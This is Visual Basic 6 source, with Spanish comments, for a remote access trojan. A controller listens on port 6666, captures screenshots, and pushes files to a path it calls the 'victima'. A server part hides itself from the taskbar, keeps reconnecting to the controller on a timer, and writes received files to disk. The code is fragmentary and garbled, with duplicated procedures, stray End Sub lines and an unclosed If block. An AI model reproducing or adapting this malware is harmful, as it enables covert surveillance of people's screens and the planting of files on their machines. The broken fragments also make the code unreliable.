Private Sub Command1_Click()
Call Captura_Screen
Dim imagen As String
Open "e:\sht.bmp" For Binary As #1
imagen = Space(LOF(1))
Get #1, , imagen
Close #1
ws.SendData imagen
End Sub

Dim datos As String
ws.GetData datos
End Sub
Open "e:\captura.bmp" For Binary As #1
Put #1, , datos
Close #1

Private Function Captura_Screen()

Clipboard.Clear
'capturamos
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0

'mientras no se pueda cojer el contenido
Do While Clipboard.GetData = False
DoEvents
Loop

Picture1.Picture = Clipboard.GetData
'borramos el portapapeles
Clipboard.Clear
SavePicture Picture1.Picture, "e:\sht.bmp"

Do While Len(Dir("e:\sht.bmp")) = 0
    DoEvents
Loop
'ya se ha guardado el archivo
End Function

Private Sub Command1_Click()
Call Captura_Screen
Dim imagen As String
Open "e:\sht.bmp" For Binary As #1
Get #1, , imagen
Close #1
ws.SendData imagen
End Sub

Public filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Public ext As String, path As String, nombre As String, directorio As Variant, socket As String

Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub

Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function

Private Sub List1_Click()
socket = List1.Text
Form2.Show
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub

Private Sub ws2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws2(socket).GetData datos
If datos = "enviar" Then
progreso = True
ws2(socket).SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8)
    ws2(socket).SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Min = 0
        pb.Max = filesize
        pb.Value = Len(datos2)
        pb.Refresh
    End If
End Sub

FORM2:
Private Sub Command1_Click()
Form1.cd.Filter = "Todos los archivos |*.*"
Form1.cd.ShowOpen
Open Form1.cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = Form1.cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
Label1.Caption = filesize
Form1.ws2(socket).SendData "archivo" & "|" & filesize & "|" & path
End Sub

SERVER:

Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String, dir As Variant
Private Sub Form_Load()
App.TaskVisible = False
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub Timer1_Timer()
If Not ws.State = 7 Then
ws.Close
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End If
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        Label3 = datos2
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
End Sub